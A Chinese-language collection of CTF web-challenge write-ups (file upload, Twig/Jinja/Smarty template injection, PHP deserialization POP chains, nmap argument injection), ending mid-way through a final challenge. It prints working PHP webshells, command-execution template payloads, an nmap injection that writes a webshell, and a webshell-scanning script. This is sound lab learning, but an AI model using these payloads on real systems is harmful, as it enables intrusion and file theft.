<h2>文件上传</h2>
<!-- 文件上传的地址别写错了 -->
<form method="post" action="http://node6.anna.nssctf.cn:28501/index.php" enctype="multipart/form-data">
<input type="file" name="file" required><br><br>
<input type="submit" value="上传文件">
</form>
</body>

</html>

传完截去数据包如下:

POST /index.php HTTP/1.1
Host: node6.anna.nssctf.cn:28501
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8034/a.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------20381159922317
Content-Length: 232

-----------------------------20381159922317
Content-Disposition: form-data; name="file"; filename="bb.php%2F."
Content-Type: application/octet-stream

<?=eval($_POST[1])?>
-----------------------------20381159922317--

这里因为文件名有一次URL解码,属于是必须自己加一层URL编码的形式。
上传完成后,在网页读取Linux命令行执行的内容

URL: view-source:http://node6.anna.nssctf.cn:28501/bb.php
POST:1=system('env');

return:
GIF89a
PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi
APACHE_CONFDIR=/etc/apache2
HOSTNAME=3059dfa8bcbd4a7f
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_EXTRA_BUILD_DEPS=apache2-dev
PHP_LDFLAGS=-Wl,-O1 -Wl,--hash-style=both -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2
PHP_MD5=
PHP_VERSION=7.3.4
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D
PHP_ASC_URL=https://www.php.net/get/php-7.3.4.tar.xz.asc/from/this/mirror
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2
PHP_URL=https://www.php.net/get/php-7.3.4.tar.xz/from/this/mirror
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PWD=/var/www/html
PHP_SHA256=6fe79fa1f8655f98ef6708cde8751299796d6c1e225081011f4104625b923b83
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=NSSCTF{b5b8c95a-7479-4739-8eb0-c0eec41f512a}

收获

除去找文件得到flag,还要查变量得到flag

[BJDCTF2020]Cookie is so stable

原始信息

这次,不扫站都能看到几个重要的页面:index.php和flag.php
这次的源码信息主要以下面为主

// 随便输入个ID时,它会从cookie传参,并且在前端页面当中显示出来
GET /flag.php HTTP/1.1
Host: 53b14b76-5393-4090-b860-534bf580c07c.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://53b14b76-5393-4090-b860-534bf580c07c.node4.buuoj.cn:81/flag.php
Cookie: PHPSESSID=ed3f7f488bdf5e9bf98017f1eeb70b9c; user=kiti
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

cookie后面的 user=kiti 正是我们前面所输入的用户ID。
回显到前端页面是:

<label><h2>Hello kiti</h2></label>

解题

解题的关键点在于Cooke的那个user传参上。遇到这种情况,先试试有没有模板漏洞。

模板漏洞测试有如下流程:

这个模板,可以适用于Python模板漏洞。

${7*7}  |==>a{*comment*}b=|=>Smarty
| |=>${"z".join("ab")}=|=>Mako
| |=>Unknown
| |=>Jinja2
|==>{{7*7}}=|=>{{7*'7'}}=|=>Twig
| |=>Unknown
|=>Not vulnerable

实验了下,符合Twig模板,网上找找相关的漏洞,这里是参考文章
从文章中找到此利用,尝试下:

# 调用ls进行目录查询
//因为回显的点只显示一个结果,遇到空格等就自动分割了,这里用head进行挨个手工查询
Cookie:
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls |head -n 1")}};PHPSESSID=ed3f7f488bdf5e9bf98017f1eeb70b9c;
return:
<h2>Hello bootstrap</h2>
# 找到flag文件
// 这里有个坑,根目录下能查到Flag(大写的),无法回显出任何信息
Cookie:
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /|head -n 4")}};PHPSESSID=ed3f7f488bdf5e9bf98017f1eeb70b9c;
return:
<h2>Hello flag</h2>

# 查看文件中的flag
Cookie:
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag|head -n 1")}};PHPSESSID=ed3f7f488bdf5e9bf98017f1eeb70b9c;
return:
<h2>Hello flag{8a1f6045-cc94-436a-8874-382d1e25eae8}</h2>

高明的黑客

原始信息

首先,题目提示了下某个压缩包
其次,某个压缩包打开后充满了一句话木马
最后,我们需要从三千多个文件当中找出可以用的一句话木马来使用。

解题

这里就套下别人的脚本了。点我前往博客资源

import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) )) #只是一个简单的时间函数,看起来更漂亮罢了
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/test1/"
os.chdir(filePath) #改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath) #得到该目录下所有文件的名称
session = requests.Session() #得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire() #好像与锁什么的相关,但是还是不太懂,多线程开启
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) #更好看,同时可以对比不加线程和加线程的时间对比
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/test1/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release() #对应于之前的多线程打开


for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

有一点要注意的是:线程数过多可能会超时。

[安洵杯 2019]easy_serialize_php

原始信息

题意就是容易的序列化php。

 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

解题

// 获取函数名
$function = @$_GET['f'];

function filter($img){
// 正则表达式黑名单过滤,没有过滤phtml
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

// 销毁数组session
if($_SESSION){
unset($_SESSION);
}
// 设置session值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

// 把数组中的变量解压为独立变量
extract($_POST);
// 函数不存在则返回链接
if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';}
// 获取路径,设置session值
if(!$_GET['img_path']){
// base64编码图像信息
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
// base64编码图像信息并且获取其哈希加密
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
// 序列化SESSION,并且调用函数进行过滤
$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
// 高亮显示源代码
highlight_file('index.php');
}else if($function == 'phpinfo'){
// 显示php信息
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
// 显示show_image
// 反序列化serialize_info
$userinfo = unserialize($serialize_info);
// 回显userinfo的base64解码内容
echo file_get_contents(base64_decode($userinfo['img']));
}

整体看着太杂了,揪出关键源码:

if($function == 'highlight_file'){
// 高亮显示源代码
highlight_file('index.php');
}else if($function == 'phpinfo'){
// 显示php信息
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
// 显示show_image
// 反序列化serialize_info
$userinfo = unserialize($serialize_info);
// 回显userinfo的base64解码内容
echo file_get_contents(base64_decode($userinfo['img']));
}

// 前两项属于锁死的类型
// 重点看第三项

phpinfo唯一能给出的有用信息,就是:d0g3_f1ag.php

我们需要的是从这个文件当中读取信息。

说实在,这里我看懵圈了。

现在的问题是,如何读取文件内容?

按照大佬的思路反序列化

// 读取的核心是利用这个去读取
file_get_contents(base64_decode($userinfo['img']));
// 利用的核心是反序列化的垃圾回收机制
# 垃圾回收机制如下:
a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";}
# 1.假设flag前面就限定为数字4,一旦flag超出4位,那么后面多余的字符串将被抛弃。
# 2.假设 `s:5:"33123";};` 后面还有东西,但是 `a:2{` 的数字2恒不变,那么这个a所包裹的大括号后面的东西将被舍弃
# a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";} =运行读取=> a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";}
# a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";};s:3:'read';s:6:'reading'}; =运行读取=> a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";}
# 反序列化的原因是要将后面出现的img变量序列化给删除了
// 序列化后的文本会直接跳过序列化的这个过程(目前观察确实是这样子,并且是同一变量session的情况下。)
这次还给了我们另外一个知识,就是:
1.反序列化的值是以 `;` 为分割的
2.反序列化没有类似于 `=` 的绝对键值对

简化:

// post传入session参数
extract($_POST); => $_SESSION['img'] = base64_encode('d0g3_f1ag.php');

// 序列化
$serialize_info = filter(serialize($_SESSION));

}else if($function == 'show_image'){
// 符合条件时,反序列化
$userinfo = unserialize($serialize_info);
// base64解码文件名,并且获得文件内容
echo file_get_contents(base64_decode($userinfo['img']));
}

尝试传参:

POST:
// 这里说一下,post传入的序列化参数绕过了序列化的过程
// 相当于提前序列化
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
return:
<?php
$flag = 'flag in /d0g3_fllllllag';
?>

POST:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
return:
flag{415493bd-0bb6-4603-8e9e-62b092d00c28}

总结

结合之前的SQL注入来看,这里透露了注入的核心思想:

1.千方百计插入数据或者查询
2.千方百计替换掉数据或者查询
3.千方百计挤掉正常数据,插入异常数据或者查询

[MRCTF2020]Ezpop

没见过的新题目,pop反序列化。

原始信息

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

解题

源码分析

Welcome to index.php
<?php
# flag的位置
//flag is in flag.php
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//WTF IS THIS?
# 拆解#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
# 得到:反序列化魔术方法
//And Crack It!

本题方向:反序列化魔术方法


// 调用类,就能导入对应的文件内容
class Modifier {
protected $var;
// 导入文件的操作
public function append($value){
include($value);
}
// 当尝试以调用函数的方法调用一个对象时,会被自动调用
public function __invoke(){
$this->append($this->var);
}
}


class Show{
public $source;
public $str;

// 创建即触发
public function __construct($file='index.php'){
$this->source = $file;
// 类似于hello world
echo 'Welcome to '.$this->source."<br>";
}

// 输出即调用
public function __toString(){
// 返回变量值
return $this->str->source;
}

// 反序列化时调用此方法
public function __wakeup(){
// 正则表达式筛选,验证
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
// 创建即设置为空数组
public function __construct(){
$this->p = array();
}

// 私有类
// 返回p变量值
public function __get($key){
$function = $this->p;
return $function();
}
}


if(isset($_GET['pop'])){
// 反序列化传入的参数
@unserialize($_GET['pop']);
}
else{
// 创建新类并且回显
$a=new Show;
highlight_file(__FILE__);
}

第一感觉:找出能用的类反序列化得到flag。但是仔细看下来,这是需要类和类之间反复调用的哇。
从基本的魔术方法反序列化调用,直接变成了反序列化调用多个类。
下面是某个大佬的wp,点击我跳转

<?php
ini_set('memory_limit','-1');
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
$this->str = new Test();
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

这个wp利用了魔术方法创建即调用的特性不断的调用新类,最后利用输出函数输出了wp

还是有些晦涩,后面需要几次复盘。

[MRCTF2020]PYWebsite

原始信息

网页发现一个js

function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

里面有一个flag,尝试访问

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<img src="./img/2.jpg" width="300" height="300" />
<h1>拜托,我也是学过半小时网络安全的,你骗不了我!</h1>
<p>我已经把购买者的IP保存了,显然你没有购买</p>
<p>验证逻辑是在后端的,除了购买者和我自己,没有人可以看到flag</p>
<a href="index.html" >还不快去买</p>
<img src = "./img/vx.jpg" ></body>
</html>

解题

访问flag.php,发现图片扫不出什么,以及放到linux上没什么反应,暂时放弃。

GET /flag.php HTTP/1.1
Host: node4.buuoj.cn:27478
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://node4.buuoj.cn:27478/
Upgrade-Insecure-Requests: 1

带了Referer,“我已经把购买者的IP保存了”,猜测可能是xff

GET /flag.php HTTP/1.1
Host: node4.buuoj.cn:27478
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://node4.buuoj.cn:27478/
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1

得到flag

// XFF漏洞
X-Forwarded-For: 127.0.0.1

[ASIS 2019]Unicorn shop

原始信息

首先得到一个买独角兽的页面,页面的内容是:

Item ID 	Price 	English 	Spanish 	German 	Russian
1 2.0 black and white unicorn unicornio blanco y negro Schwarzweiss-Einhorn черно-белый единорог
2 5.0 unicorn family familia unicornio Einhorn-Familie семья единорога
3 8.0 warrior unicorn guerrero unicornio Krieger Einhorn воин единорог
4 1337.0 ultra unicorn ultra unicornio ultra Einhorn ультра единорог

Purchase Unicorn
Item ID Price 购买按钮
Item ID Price =>上面的这个东西就是需要购买的,点击购买按钮购买

解题

做了下基本的测试,尝试以原来的单价购买,会传来这样的东西:

尝试购买前三个商品:
Item ID=1 Price=3 =>Wrong commodity!(发错货了!)操作失败。
Item ID=2 Price=6 =>Wrong commodity!(发错货了!)操作失败。
Item ID=3 Price=9 =>Wrong commodity!(发错货了!)操作失败。
尝试第4个
Item ID=4 Price=9 =>You don't have enough money!操作失败。
Item ID=4 Price=91 =>Only one char(?) allowed!(单引号双引号都是如此,猜测可能是py的长度检测)

查看报错信息:
Item ID=4 Price=

Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
result = method(*self.path_args, **self.path_kwargs)
File "/app/sshop/views/Shop.py", line 34, in post
unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter

[WesternCTF2018]shrine

原始信息

开头即碰到源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

这种情况分三种:

  1. nc连接该站点
  2. python逆向
  3. 框架漏洞

解题

先分析源码

import flask
import os

# 创建flask实例
app = flask.Flask(__name__)

# 将环境变量中的FLAG值赋值给flask当中的FLAG
app.config['FLAG'] = os.environ.pop('FLAG')

# 根路由
@app.route('/')
# 主页面
def index():
# 打开文件并且读取输出
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

得到一个特殊的路由

/shrine/<path:shrine>

尝试对路由进行模板注入

get:http://xxx.xxxx.com:80/shrine/{{8*9}}
return: 72

注入点有了,根据代码分析来看,有限制条件:

1.括号替换为空
2.''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

现在,使用非括号的方式获取flag

http://xxx.xxx.xxx:81/shrine/{{url_for.__globals__['current_app'].config}}

这题的大佬参照点我

[网鼎杯 2020 朱雀组]Nmap

原始信息

原始信息如下:

index页面:flag is in /flag

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8">
<title>NMAP‍</title>
<link rel="stylesheet" href="css/bootstrap.css">
<script src="js/jquery.js" type="text/javascript"></script>
<style type="text/css">
body {
background: url("img/bg.png") no-repeat;
background-size: 100%;
}
</style>
</head>

<body>
<div class="container" style="color:#48e5ff;">
<h1>NMAP‍</h1>
<p>Enter host or IP address to scan: </p>
<form id="scanform" class="form-inline" action="?" method="POST">
<input type="text" name="host" class="input-large" placeholder="hostname / IP"> <button type="submit"
class="btn">Scan</button>
</form>
<div id="waiter"></div>
<hr>
<a href="/list.php"><button class="btn btn-inverse">View existing results</button></a>
</div>
<script>
$('#scanform').submit(function () {
$('#waiter').append("<b>please, wait</b>");
});
</script>
</body>
<!-- flag is in /flag -->

</html>

list页面

<!DOCTYPE html>
<html lang="en">
<head>
<link rel="stylesheet" href="css/bootstrap.css">
</head>
<body>
<div class="container">
<a href="/"><button class="btn btn-inverse">to index</button></a>
<hr>
<h1 >Scan results:</h1>
<table class="table">
<tr>
<td><b>File</b></td>
<td><b>Creation date</b></td>
</tr>
</table>
</div>
</body>
</html>

result展示页面:

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8">
<title>scan results: 117.21.200.166</title>
<link rel="stylesheet" href="css/bootstrap.css">
</head>

<body>
<div class="container">
<a href="/"><button class="btn btn-inverse">to index</button></a>
<a href="/list.php"><button class="btn btn-inverse">to list</button></a>

<h1>Scan results for: 117.21.200.166</h1>
<hr>
<div class="well">
<p><b>IP</b>: 117.21.200.166</p>

<p><b>Hostname</b>: 430e1588-a55a-4c29-8718-3e60d6dfc5e6.node4.buuoj.cn <em>(user)</em></p>


</div>


<hr>
<p>Nmap done at Sat Sep 9 13:53:00 2023; 1 IP address (1 host up) scanned in 2.15 seconds</p>
</div>
</body>

</html>

解题

考点

选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
选项-oG 将结果Grep保存。

这是一道nmap考察题,考察对nmap的使用。

# 测试的重点:尝试插入木马,读取文件信息
# 测试的时候会经常出现远程主机不存在或者被关闭
# 这种情况,着重的看文件是否存在即可(url访问)

input:
POST:host= 127.0.0.1' -F --oN aa.txt'
访问:/aa.txt
# Nmap 6.47 扫描于 2023 年 9 月 10 日星期日启动,如下: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/90504 -oN aa.txt 127.0.0.1\ \\
无法解析“127.0.0.1\”。
无法解析“\\”。
警告:未指定目标,因此扫描了 0 个主机。
# Nmap 于 2023 年 9 月 10 日星期日 02:13:32 完成 - 0.37 秒内扫描了 0 个 IP 地址(0 个主机已启动)

能正常执行,可以尝试写入木马:
input:
POST:host= 127.0.0.1' -oN b.phtml <?=eval($_POST[1]);?>'
访问:
get: http://ba6872a0-16bb-4fbe-a42f-d4fbef0ce4ba.node4.buuoj.cn:81/b.phtml
post:1=system('tac /flag');

# Nmap 6.47 scan initiated Sun Sep 10 02:44:19 2023 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/f8dd1 -oN b.phtml 127.0.0.1\ flag{cc706b09-7c43-4b5f-895f-c6c9014d26e4}
\\
Failed to resolve " 127.0.0.1\".
Failed to resolve "flag{cc706b09-7c43-4b5f-895f-c6c9014d26e4}
\\".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Sun Sep 10 02:44:19 2023 -- 0 IP addresses (0 hosts up) scanned in 0.17 seconds


除了插入木马,还有nmap一步到位的读取:
input:
post: 127.0.0.1' -iL /flag -oN vege.txt '

参考WP:点我

参考NMAP介绍:点我

相对正确的nmap中文翻译参照:点我

[CISCN2019 华东南赛区]Web11

原始信息

原始信息其实就一个页面,很多人说底部有个链接可以点击,但是我可没有看到。

测试的时候是在BP当中看到的模板漏洞。

页面hackbar工具做不到这点,因为它会转义为url再发送信息。

下面是index页面

<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>A Simple IP Address API</title>
<link rel="stylesheet" href="./css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="row">
<div style="float:left;">
<h1>IP</h1>
<h2 class="hidden-xs hidden-sm">A Simple Public IP Address API</h2>
</div>
<div style="float:right;margin-top:30px;">Current IP:10.244.80.12 </div>
</div>

<div class="why row">
<div class="col-xs-12">
<h2>Why use?</h2>
<div class="row">
<div class="col-xs-offset-1 col-xs-10">
<p>
Do you need to get the public IP address ? Do you have the requirements to obtain the servers’ public IP address? Whatever the reason,sometimes a public IP address API are useful.
</p>
<p>
You should use this because:
</p><ul>
<li>You can initiate requests without any limit.</li>

<li>Does not record the visitor information.</li>

</ul>
<p></p>
</div>
</div>
</div>
</div>
<div class="api row">
<div class="col-xs-12">
<h2>API Usage</h2>
<div class="row">
<div class="col-xs-offset-1 col-xs-11">

<div class="table-responsive">
<table class="table table-striped table-bordered table-hover">
<thead>
<tr>
<td>-</td>
<td>API URI</td>
<td width="50px">Type</td>
<td>Sample Output</td>
</tr>
</thead>
<tbody>
<tr>
<td>get IP</td>
<td><code>http://node4.buuoj.cn:25857/%7B%7B1+2%7D%7Dapi</code></td>
<td><code>text/html</code></td>
<td><code>8.8.8.8</code></td>
</tr>
<tr>
<td>get XFF(X-Forwarded-For)</td>
<td><code>http://node4.buuoj.cn:25857/%7B%7B1+2%7D%7Dxff</code></td>
<td><code>text/html</code></td>
<td><code>8.8.8.8</code></td>
</tr>


</tbody>
</table>
</div>


</div>
</div>
</div>
</div>
<div class="examples row">

</div>

<div class="row">
<div class="col-xs-12">
<h2 style="margin-bottom:0;">Connection</h2>
<div class="row">
<div class="col-xs-offset-1 col-xs-10">
<h3>Request-Header</h3>
<pre>GET / HTTP/2.0
Host: www.ip.la
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8
Cache-Control: max-age=0
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36

</pre>
</div>
</div>
</div>
</div>
<footer>
<p style="text-align:center;font-size:14px;">Build With Smarty !</p>
</footer>
</div>

</body></html>

访问url/api/和url/xxf/都会访问到一个IP地址,没发现有什么大用处

尝试下面访问的时候,出现了我们需要的东西:

访问:http://xxx.xxx.xxx.com/123

得到:
- API URI Type Sample Output
get IP http://node4.buuoj.cn:25857/123api text/html 8.8.8.8
get XFF(X-Forwarded-For) http://node4.buuoj.cn:25857/123xff text/html 8.8.8.8

任意字符串都能以这种形式返回

解题

既然存在,使用BP测试:

GET /{{1+3}} HTTP/1.1
Host: node4.buuoj.cn:25857
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

返回包:

# 只保留关键信息
- API URI Type Sample Output
get IP http://node4.buuoj.cn:25857/4api text/html 8.8.8.8
get XFF(X-Forwarded-For) http://node4.buuoj.cn:25857/4xff text/html 8.8.8.8

下面的数据包都保留关键信息进行展示

再发包

GET /{{var_dump(scandir('/'))}} HTTP/1.1

返回

array(20) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(10) ".dockerenv"
[3]=>
string(3) "bin"
[4]=>
string(3) "dev"
[5]=>
string(3) "etc"
[6]=>
string(4) "flag"
[7]=>
string(4) "home"
[8]=>
string(3) "lib"
[9]=>
string(5) "media"
[10]=>
string(3) "mnt"
[11]=>
string(3) "opt"
[12]=>
string(4) "proc"
[13]=>
string(4) "root"
[14]=>
string(3) "run"
[15]=>
string(4) "sbin"
[16]=>
string(3) "srv"
[17]=>
string(3) "sys"
[18]=>
string(3) "usr"
[19]=>
string(3) "var"
}

得到了文件列表,当然是想办法得到文件内容了。

GET /{{file_get_contents('/flag')}} HTTP/1.1

返回包:

<?php $flag="flag{cd5e78ea-ede1-4fc7-b3a0-6547bad11b34}";

[NPUCTF2020]ReadlezPHP

原始信息

在题目信息当中找到一个链接,跳转后找到对应的php源码信息

<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

观察便可看出这是一个反序列化。

解题

对源码进行解析

<?php
#error_reporting(0);
# 定义类
class HelloPhp
{
public $a;
public $b;
# 初始化方法,初始化类内部变量
# 即:创建即调用
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}

# 销毁变量时将变量作为函数进行调用
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}

# 定义新类
$c = new HelloPhp;

# 一旦存在source变量就截断这个程序
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

# 反序列化传入的data
